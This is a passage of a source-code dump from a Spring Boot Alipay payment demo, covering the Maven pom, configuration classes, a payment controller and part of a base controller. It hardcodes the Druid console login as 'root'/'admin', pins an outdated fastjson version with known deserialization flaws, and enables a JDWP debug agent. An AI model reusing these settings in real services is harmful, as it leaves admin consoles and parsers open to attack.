    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>springboot-pay</groupId>\n\t<artifactId>springboot_pay</artifactId>\n\t<version>1.0</version>\n\n\t<!-- Spring Boot 启动父依赖 -->\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.2.RELEASE</version>\n\t\t<relativePath/>\n\t</parent>\n\t<properties>\n\t\t<mysql-connector>5.1.39</mysql-connector>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\t<dependencies>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t\t<artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-jpa</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-entitymanager</artifactId>\n\t\t\t<version>5.1.10.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t<version>5.1.10.Final</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.0.29</version>\n\t\t</dependency>\n\t\t<!-- commons-lang3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-undertow</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>dom4j</groupId>\n\t\t\t<artifactId>dom4j</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- cglib service aop事物（代理） -->\n\t\t<dependency>\n\t\t\t<groupId>cglib</groupId>\n\t\t\t<artifactId>cglib</artifactId>\n\t\t\t<version>2.2</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-aop</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.29</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>de.ruedigermoeller</groupId>\n\t\t\t<artifactId>fst</artifactId>\n\t\t\t<version>2.40</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-lang</groupId>\n\t\t\t<artifactId>commons-lang</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>jdom</groupId>\n\t\t\t<artifactId>jdom</artifactId>\n\t\t\t<version>1.1</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>core</artifactId>\n\t\t\t<version>3.2.1</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>javase</artifactId>\n\t\t\t<version>3.2.1</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.code.gson</groupId>\n\t\t\t<artifactId>gson</artifactId>\n\t\t\t<version>2.8.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.jfinal</groupId>\n\t\t\t<artifactId>enjoy</artifactId>\n\t\t\t<version>3.2</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.alipay.sdk/alipay-sdk-java -->\n\t\t<dependency>\n\t\t\t<groupId>com.alipay.sdk</groupId>\n\t\t\t<artifactId>alipay-sdk-java</artifactId>\n\t\t\t<version>4.35.139.ALL</version>\n\t\t</dependency>\n\t</dependencies>\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>spring-snapshots</id>\n\t\t\t<name>Spring Snapshots</name>\n\t\t\t<url>https://repo.spring.io/libs-snapshot</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\n\t</repositories>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<!--<fork>true</fork>-->\n\t\t\t\t\t<jvmArguments>\n\t\t\t\t\t\t-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005\n\t\t\t\t\t</jvmArguments>\n\t\t\t\t</configuration>\n\t\t\t\t<!--<dependencies>\n\t\t\t\t\t<dependency>\n\t\t\t\t\t\t<groupId>org.springframework</groupId>\n\t\t\t\t\t\t<artifactId>springloaded</artifactId>\n\t\t\t\t\t\t<version>1.2.6.RELEASE</version>\n\t\t\t\t\t</dependency>\n\t\t\t\t</dependencies>-->\n\t\t\t</plugin>\n\n\t\t\t<!--<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<archive>\n\t\t\t\t\t\t<manifest>\n\t\t\t\t\t\t\t<mainClass>com.springboot.Application</mainClass>\n\t\t\t\t\t\t\t<addClasspath>true</addClasspath>\n\t\t\t\t\t\t\t<classpathPrefix>lib/</classpathPrefix>\n\t\t\t\t\t\t</manifest>\n\t\t\t\t\t</archive>\n\t\t\t\t\t<classesDirectory>\n\t\t\t\t\t</classesDirectory>\n\t\t\t\t</configuration>\n\t\t\t</plugin>-->\n\t\t</plugins>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/Application.java",
    "content": "package com.springboot;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.autoconfigure.domain.EntityScan;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\nimport org.springframework.data.jpa.repository.config.EnableJpaRepositories;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\n/**\n * Spring Boot 应用启动类\n *\n *\n */\n\n@EnableTransactionManagement\n@SpringBootApplication\n@ServletComponentScan\n@EnableAutoConfiguration\n@EntityScan(basePackages = \"com.springboot.model\")\n@EnableJpaRepositories(basePackages = \"com.springboot.dao\")\npublic class Application {\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/config/DruidConfiguration.java",
    "content": "package com.springboot.config;\n\nimport javax.sql.DataSource;\n\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DatabaseDriver;\nimport org.springframework.boot.web.servlet.FilterRegistrationBean;\nimport org.springframework.boot.web.servlet.ServletRegistrationBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.alibaba.druid.support.http.StatViewServlet;\nimport com.alibaba.druid.support.http.WebStatFilter;\n\n@Configuration\n@ConditionalOnClass(com.alibaba.druid.pool.DruidDataSource.class)\n@ConditionalOnProperty(name = \"spring.datasource.type\", havingValue = \"com.alibaba.druid.pool.DruidDataSource\", matchIfMissing = true)\npublic class DruidConfiguration {\n\n\t@SuppressWarnings(\"unchecked\")\n\tprotected <T> T createDataSource(DataSourceProperties properties, Class<? extends DataSource> type) {\n\t\treturn (T) properties.initializeDataSourceBuilder().type(type).build();\n\t}\n\n\t/**\n\t * @see org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration.Tomcat\n\t *      仿写的你可以去了解\n\t * @param properties\n\t *            读入的配置\n\t * @return DruidDataSource\n\t */\n\t@Bean\n\t@ConfigurationProperties(\"spring.datasource.druid\")\n\tpublic com.alibaba.druid.pool.DruidDataSource dataSource(DataSourceProperties properties) {\n\n\t\tcom.alibaba.druid.pool.DruidDataSource dataSource = createDataSource(properties,\n\t\t\t\tcom.alibaba.druid.pool.DruidDataSource.class);\n\n\t\tDatabaseDriver databaseDriver = DatabaseDriver.fromJdbcUrl(properties.determineUrl());\n\n\t\tString validationQuery = databaseDriver.getValidationQuery();\n\t\tif (validationQuery != null) {\n\t\t\tdataSource.setTestOnBorrow(true);\n\t\t\tdataSource.setValidationQuery(validationQuery);\n\t\t}\n\n\t\treturn dataSource;\n\t}\n\n\t/**\n\t * 注册一个StatViewServlet\n\t */\n\t@Bean\n\tpublic ServletRegistrationBean druidStatViewServlet() {\n\t\t// org.springframework.boot.context.embedded.ServletRegistrationBean提供类的进行注册.\n\t\tServletRegistrationBean servletRegistrationBean = new ServletRegistrationBean(new StatViewServlet(),\n\t\t\t\t\"/druid/*\");\n\n\t\t// 添加初始化参数：initParams\n\t\t// 白名单：\n\t\t// servletRegistrationBean.addInitParameter(\"allow\", \"127.0.0.1\");\n\t\t// IP黑名单 (存在共同时，deny优先于allow) : 如果满足deny的话提示:Sorry, you are not\n\t\t// permitted to view this page.\n\t\t// servletRegistrationBean.addInitParameter(\"deny\", \"192.168.1.73\");\n\t\t// 登录查看信息的账号密码.\n\t\tservletRegistrationBean.addInitParameter(\"loginUsername\", \"root\");\n\t\tservletRegistrationBean.addInitParameter(\"loginPassword\", \"admin\");\n\t\t// 是否能够重置数据.\n\t\tservletRegistrationBean.addInitParameter(\"resetEnable\", \"false\");// 禁用HTML页面上的“Reset\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// All”功能\n\t\treturn servletRegistrationBean;\n\t}\n\n\t/**\n\t * 注册一个：filterRegistrationBean\n\t */\n\t@Bean\n\tpublic FilterRegistrationBean druidStatFilter() {\n\n\t\tFilterRegistrationBean filterRegistrationBean = new FilterRegistrationBean(new WebStatFilter());\n\t\tfilterRegistrationBean.setName(\"druidWebStatFilter\");\n\t\t// 添加过滤规则.\n\t\tfilterRegistrationBean.addUrlPatterns(\"/*\");\n\t\t// 添加忽略的格式信息.\n\t\tfilterRegistrationBean.addInitParameter(\"exclusions\", \"*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*\");\n\t\treturn filterRegistrationBean;\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/config/EnjoyConfig.java",
    "content": "package com.springboot.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.jfinal.template.ext.spring.JFinalViewResolver;\nimport com.jfinal.template.source.ClassPathSourceFactory;\n\n/**\n * 模板配置（替代JSP）\n * \n * @author lenovo\n *\n */\n@Configuration\npublic class EnjoyConfig {\n\n\t@Bean(name = \"jfinalViewResolver\")\n\tpublic JFinalViewResolver getJFinalViewResolver() {\n\t\tJFinalViewResolver jf = new JFinalViewResolver();\n\t\tjf.setDevMode(true);\n\t\tjf.setSourceFactory(new ClassPathSourceFactory());\n\t\tjf.setBaseTemplatePath(\"/template/\");\n\t\tjf.setPrefix(\"view/\");\n\t\tjf.setSuffix(\".html\");\n\t\tjf.setContentType(\"text/html;charset=UTF-8\");\n\t\tjf.setOrder(0);\n\t\tjf.setSessionInView(true);\n\t\tjf.setExposeRequestAttributes(true);\n\t\tjf.setExposeRequestAttributes(true);\n\t\treturn jf;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/config/HibernateConfiguration.java",
    "content": "package com.springboot.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.orm.jpa.vendor.HibernateJpaSessionFactoryBean;\n\n@Configuration\npublic class HibernateConfiguration {\n\n\t@Bean\n\tpublic HibernateJpaSessionFactoryBean sessionFactory() {\n\t\treturn new HibernateJpaSessionFactoryBean();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/config/InterceptorConfig.java",
    "content": "package com.springboot.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport com.springboot.interceptor.MyInterceptor1;\n\n@Configuration\npublic class InterceptorConfig extends WebMvcConfigurerAdapter {\n\t@Override\n\tpublic void addInterceptors(InterceptorRegistry registry) {\n\t\tregistry.addInterceptor(new MyInterceptor1());\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/config/TxAnoConfig.java",
    "content": "package com.springboot.config;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.springframework.aop.aspectj.AspectJExpressionPointcutAdvisor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.PlatformTransactionManager;\nimport org.springframework.transaction.TransactionDefinition;\nimport org.springframework.transaction.interceptor.NameMatchTransactionAttributeSource;\nimport org.springframework.transaction.interceptor.RollbackRuleAttribute;\nimport org.springframework.transaction.interceptor.RuleBasedTransactionAttribute;\nimport org.springframework.transaction.interceptor.TransactionAttribute;\nimport org.springframework.transaction.interceptor.TransactionAttributeSource;\nimport org.springframework.transaction.interceptor.TransactionInterceptor;\n\n@Configuration\npublic class TxAnoConfig {\n\t/**\n\t * 事务拦截类型\n\t * \n\t * @return\n\t */\n\t@Bean(\"txSource\")\n\tpublic TransactionAttributeSource transactionAttributeSource() {\n\t\tNameMatchTransactionAttributeSource source = new NameMatchTransactionAttributeSource();\n\t\t/* 只读事务，不做更新操作 */\n\t\tRuleBasedTransactionAttribute readOnlyTx = new RuleBasedTransactionAttribute();\n\t\treadOnlyTx.setReadOnly(true);\n\t\treadOnlyTx.setPropagationBehavior(TransactionDefinition.PROPAGATION_NOT_SUPPORTED);\n\t\tRuleBasedTransactionAttribute requiredTx = new RuleBasedTransactionAttribute(\n\t\t\t\tTransactionDefinition.PROPAGATION_REQUIRED,\n\t\t\t\tCollections.singletonList(new RollbackRuleAttribute(Exception.class)));\n\t\trequiredTx.setTimeout(5);\n\t\tMap<String, TransactionAttribute> txMap = new HashMap<>();\n\t\ttxMap.put(\"add*\", requiredTx);\n\t\ttxMap.put(\"save*\", requiredTx);\n\t\ttxMap.put(\"insert*\", requiredTx);\n\t\ttxMap.put(\"update*\", requiredTx);\n\t\ttxMap.put(\"delete*\", requiredTx);\n\t\ttxMap.put(\"get*\", readOnlyTx);\n\t\ttxMap.put(\"query*\", readOnlyTx);\n\t\ttxMap.put(\"*\", readOnlyTx);\n\t\tsource.setNameMap(txMap);\n\n\t\treturn source;\n\t}\n\n\t/**\n\t * 切面拦截规则 参数会自动从容器中注入\n\t * \n\t * @param txInterceptor\n\t * @return\n\t */\n\t@Bean\n\tpublic AspectJExpressionPointcutAdvisor pointcutAdvisor(TransactionInterceptor txInterceptor) {\n\t\tAspectJExpressionPointcutAdvisor pointcutAdvisor = new AspectJExpressionPointcutAdvisor();\n\t\tpointcutAdvisor.setAdvice(txInterceptor);\n\t\tpointcutAdvisor.setExpression(\"execution (* com.springboot.service.*.*(..))\");\n\t\treturn pointcutAdvisor;\n\t}\n\n\t/**\n\t * 事务拦截器\n\t * \n\t * @param tx\n\t * @return\n\t */\n\t@Bean(\"txInterceptor\")\n\tTransactionInterceptor getTransactionInterceptor(PlatformTransactionManager tx) {\n\t\treturn new TransactionInterceptor(tx, transactionAttributeSource());\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/controller/AliController.java",
    "content": "package com.springboot.controller;\n\nimport java.math.BigDecimal;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.springboot.model.PayModel;\nimport com.springboot.service.IAliService;\nimport com.springboot.util.IPKit;\nimport com.springboot.util.PropKit;\n\n/**\n * 支付宝支付\n * \n * @author lenovo\n *\n */\n@Controller\n@RequestMapping(value = \"/ali/pay\")\npublic class AliController {\n\t@Autowired\n\tprivate IAliService aliService;\n\n\t/**\n\t * H5网页支付\n\t * \n\t * @param request\n\t * @param response\n\t * @throws Exception\n\t */\n\t@RequestMapping(value = \"/createH5Pay\")\n\tpublic void createH5Pay(HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tPayModel model = new PayModel();\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tString orderId = com.springboot.util.IdKit.getDateId(\"1\");\n\t\tSystem.out.println(\"订单编号：\" + orderId);\n\t\tmodel.setOutTradeNno(orderId);\n\t\tString form = aliService.h5Pay(model);\n\t\tSystem.out.println(form);\n\t\tresponse.setContentType(\"text/html;charset=\" + PropKit.get(\"alipay.pay.charset\"));\n\t\tresponse.getWriter().write(form);// 直接将完整的表单html输出到页面\n\t\tresponse.getWriter().flush();\n\t\tresponse.getWriter().close();\n\t}\n\n\t/**\n\t * 扫码支付\n\t * \n\t * @param request\n\t * @throws Exception\n\t */\n\t@RequestMapping(value = \"/qrCodePay\")\n\tpublic ModelAndView qrCodePay(HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tModelAndView mv = new ModelAndView();\n\t\tPayModel model = new PayModel();\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tString orderId = com.springboot.util.IdKit.getDateId(\"1\");\n\t\tSystem.out.println(\"订单编号：\" + orderId);\n\t\tmodel.setOutTradeNno(orderId);\n\t\tString url = aliService.qrCodePay(model);\n\t\tSystem.out.println(\"支付链接：\" + url);\n\t\tmv.addObject(\"url\", url);\n\t\tmv.setViewName(\"ali/qrCode\");\n\t\treturn mv;\n\t}\n\n\t@RequestMapping(value = \"/pcPay\")\n\tpublic void pcPay(HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tPayModel model = new PayModel();\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tString orderId = com.springboot.util.IdKit.getDateId(\"1\");\n\t\tSystem.out.println(\"订单编号：\" + orderId);\n\t\tmodel.setOutTradeNno(orderId);\n\t\tString form = aliService.pcPay(model);\n\t\tSystem.out.println(form);\n\t\tresponse.setContentType(\"text/html;charset=\" + PropKit.get(\"alipay.pay.charset\"));\n\t\tresponse.getWriter().write(form);// 直接将完整的表单html输出到页面\n\t\tresponse.getWriter().flush();\n\t\tresponse.getWriter().close();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/controller/BaseController.java",
    "content": "package com.springboot.controller;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.Map;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.web.bind.annotation.ModelAttribute;\n\nimport com.alibaba.fastjson.JSONArray;\n\npublic abstract class BaseController {\n\tprivate static Logger log = Logger.getLogger(BaseController.class);\n\tprivate static ThreadLocal<ServletRequest> currentRequest = new ThreadLocal<ServletRequest>();\n\tprivate static ThreadLocal<ServletResponse> currentResponse = new ThreadLocal<ServletResponse>();\n\n\t/**\n\t * init request,respone\n\t * \n\t * @param request\n\t * @param response\n\t */\n\t@ModelAttribute\n\tpublic void init(HttpServletRequest request, HttpServletResponse response) {\n\t\tcurrentRequest.set(request);\n\t\tcurrentResponse.set(response);\n\t}\n\n\tpublic HttpServletRequest getRequest() {\n\t\treturn (HttpServletRequest) currentRequest.get();\n\t}\n\n\tpublic HttpServletResponse getResponse() {\n\t\treturn (HttpServletResponse) currentResponse.get();\n\t}\n\n\t/**\n\t * Stores an attribute in this request\n\t * \n\t * @param name\n\t *            a String specifying the name of the attribute\n\t * @param value\n\t *            the Object to be stored\n\t */\n\tpublic BaseController setAttr(String name, Object o) {\n\t\tgetRequest().setAttribute(name, o);\n\t\treturn this;\n\t}\n\n\t/**\n\t * Returns the value of the named attribute as an Object, or null if no\n\t * attribute of the given name exists.\n\t * \n\t * @param name\n\t *            a String specifying the name of the attribute\n\t * @return an Object containing the value of the attribute, or null if the\n\t *         attribute does not exist\n\t */\n\tpublic <T> T getAttr(String name) {\n\t\treturn (T) getRequest().getAttribute(name);\n\t}\n\n\t/**\n\t * Removes an attribute from this request\n\t * \n\t * @param name\n\t *            a String specifying the name of the attribute to remove\n\t */\n\tpublic BaseController removeAttr(String name) {\n\t\tgetRequest().removeAttribute(name);\n\t\treturn this;\n\t}\n\n\tpublic BaseController setSessionAttr(String name, Object value) {\n\t\tgetRequest().getSession().setAttribute(name, value);\n\t\treturn this;\n\t}\n\n\tpublic <T> T getSessionAttr(String name) {\n\t\tHttpSession session = getRequest().getSession(false);\n\t\treturn session != null ? (T) session.getAttribute(name) : null;\n\t}\n\n\t/**\n\t * Remove Object in session.\n\t * \n\t * @param key\n\t *            a String specifying the key of the Object stored in session\n\t */\n\tpublic BaseController removeSessionAttr(String name) {\n\t\tHttpSession session = getRequest().getSession(false);\n\t\tif (session != null)\n\t\t\tsession.removeAttribute(name);\n\t\treturn this;\n\t}\n\n\t/**\n\t * Returns the value of a request parameter as a String, or null if the\n\t * parameter does not exist.\n\t * <p>\n\t * You should only use this method when you are sure the parameter has only\n\t * one value. If the parameter might have more than one value, use\n\t * getParaValues(java.lang.String).\n\t * <p>\n\t * If you use this method with a multivalued parameter, the value returned\n\t * is equal to the first value in the array returned by getParameterValues.\n\t * \n\t * @param name\n\t *            a String specifying the name of the parameter\n\t * @return a String representing the single value of the parameter\n\t */\n\tpublic String getPara(String name) {\n\t\treturn getRequest().getParameter(name);\n\t}\n\n\tpublic String getPara(String name, String defaultValue) {\n\t\tString result = getRequest().getParameter(name);\n\t\treturn result != null && !\"\".equals(result) ? result : defaultValue;\n\t}\n\n\t/**\n\t * Returns the value of a request parameter and convert to Long.\n\t * \n\t * @param name\n\t *            a String specifying the name of the parameter\n\t * @return a Integer representing the single value of the parameter\n\t */\n\tpublic Long getParaToLong(String arg0) {\n\t\treturn toLong(getRequest().getParameter(arg0), null);\n\t}\n\n\t/**\n\t * Returns the value of a request parameter and convert to Integer.\n\t * \n\t * @param name\n\t *            a String specifying the name of the parameter\n\t * @return a Integer representing the single value of the parameter\n\t */\n\tpublic Integer getParaToInt(String name) {\n\t\treturn toInt(getRequest().getParameter(name), null);\n\t}\n\n\t/**\n\t * Returns an array of String objects containing all of the values the given\n\t * request parameter has, or null if the parameter does not exist. If the\n\t * parameter has a single value, the array has a length of 1.\n\t * \n\t * @param name\n\t *            a String containing the name of the parameter whose value is\n\t *            requested\n\t * @return an array of String objects containing the parameter's values\n\t */\n\tpublic String[] getParaValues(String name) {\n\t\treturn getRequest().getParameterValues(name);\n\t}\n\n\t/**\n\t * Returns an array of Integer objects containing all of the values the\n\t * given request parameter has, or null if the parameter does not exist. If\n\t * the parameter has a single value, the array has a length of 1.\n\t * \n\t * @param name\n\t *            a String containing the name of the parameter whose value is\n\t *            requested\n\t * @return an array of Integer objects containing the parameter's values\n\t */\n\tpublic Integer[] getParaValuesToInt(String name) {\n\t\tString[] values = getRequest().getParameterValues(name);\n\t\tif (values == null)\n\t\t\treturn null;\n\t\tInteger[] result = new Integer[values.length];\n\t\tfor (int i = 0; i < result.length; i++)\n\t\t\tresult[i] = Integer.parseInt(values[i]);\n\t\treturn result;\n\t}\n\n\tpublic Long[] getParaValuesToLong(String name) {\n\t\tString[] values = getRequest().getParameterValues(name);\n\t\tif (values == null)\n\t\t\treturn null;\n\t\tLong[] result = new Long[values.length];\n\t\tfor (int i = 0; i < result.length; i++)\n\t\t\tresult[i] = Long.parseLong(values[i]);\n\t\treturn result;\n\t}\n\n\t/**\n\t * Returns the value of a request parameter and convert to Boolean.\n\t * \n\t * @param name\n\t *            a String specifying the name of the parameter\n\t * @return true if the value of the parameter is \"true\" or \"1\", false if it\n\t *         is \"false\" or \"0\", null if parameter is not exists\n\t */\n\tpublic Boolean getParaToBoolean(String name) {\n\t\treturn toBoolean(getRequest().getParameter(name), null);\n\t}\n\n\t/**\n\t * Returns the value of a request parameter and convert to Date.\n\t * \n\t * @param name\n\t *            a String specifying the name of the parameter\n\t * @return a Date representing the single value of the parameter\n\t * @throws Exception\n\t */\n\tpublic Date getParaToDate(String name) throws Exception {\n\t\ttry {\n\t\t\treturn toDate(getRequest().getParameter(name), null);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\t/**\n\t * Get cookie value by cookie name.\n\t */\n\tpublic String getCookie(String name, String defaultValue) {\n\t\tCookie cookie = getCookieObject(name);\n\t\treturn cookie != null ? cookie.getValue() : defaultValue;\n\t}\n\n\t/**\n\t * Get cookie value by cookie name.\n\t */\n\tpublic String getCookie(String name) {\n\t\treturn getCookie(name, null);\n\t}\n\n\t/**\n\t * Get cookie object by cookie name.\n\t */\n\tpublic Cookie getCookieObject(String name) {\n\t\tCookie[] cookies = getRequest().getCookies();\n\t\tif (cookies != null)\n\t\t\tfor (Cookie cookie : cookies)\n\t\t\t\tif (cookie.getName().equals(name))\n\t\t\t\t\treturn cookie;\n\t\treturn null;\n\t}\n\n\t/**\n\t * Get cookie value by cookie name and convert to Integer.\n\t */\n\tpublic Integer getCookieToInt(String name) {\n\t\tString result = getCookie(name);\n\t\treturn result != null ? Integer.parseInt(result) : null;\n\t}\n\n\t/**\n\t * Get cookie value by cookie name and convert to Integer.\n\t */\n\tpublic Integer getCookieToInt(String name, Integer defaultValue) {\n\t\tString result = getCookie(name);\n\t\treturn result != null ? Integer.parseInt(result) : defaultValue;\n\t}\n\n\t/**\n\t * Get cookie value by cookie name and convert to Long.\n\t */\n\tpublic Long getCookieToLong(String name) {\n\t\tString result = getCookie(name);\n\t\treturn result != null ? Long.parseLong(result) : null;\n\t}\n\n\t/**\n\t * Get cookie value by cookie name and convert to Long.\n\t */\n\tpublic Long getCookieToLong(String name, Long defaultValue) {\n\t\tString result = getCookie(name);\n\t\treturn result != null ? Long.parseLong(result) : defaultValue;\n\t}\n\n\t/**\n\t * Set Cookie to response.\n\t */\n\tpublic BaseController setCookie(Cookie cookie) {\n\t\tgetResponse().addCookie(cookie);\n\t\treturn this;\n\t}\n\n\t/**\n\t * Remove Cookie.\n\t */\n\tpublic BaseController removeCookie(String name) {\n\t\treturn doSetCookie(name, null, 0, null, null, null);\n\t}\n\n\t/**\n\t * Remove Cookie.\n\t */\n\tpublic BaseController removeCookie(String name, String path) {\n\t\treturn doSetCookie(name, null, 0, path, null, null);\n\t}\n\n\t/**\n\t * Remove Cookie.\n\t */\n\tpublic BaseController removeCookie(String name, String path, String domain) {\n\t\treturn doSetCookie(name, null, 0, path, domain, null);\n\t}\n\n\tprivate BaseController doSetCookie(String name, String value, int maxAgeInSeconds, String path, String domain,\n\t\t\tBoolean isHttpOnly) {\n\t\tCookie cookie = new Cookie(name, value);\n\t\tcookie.setMaxAge(maxAgeInSeconds);\n\t\t// set the default path value to \"/\"\n\t\tif (path == null) {\n\t\t\tpath = \"/\";\n\t\t}\n\t\tcookie.setPath(path);\n\n\t\tif (domain != null) 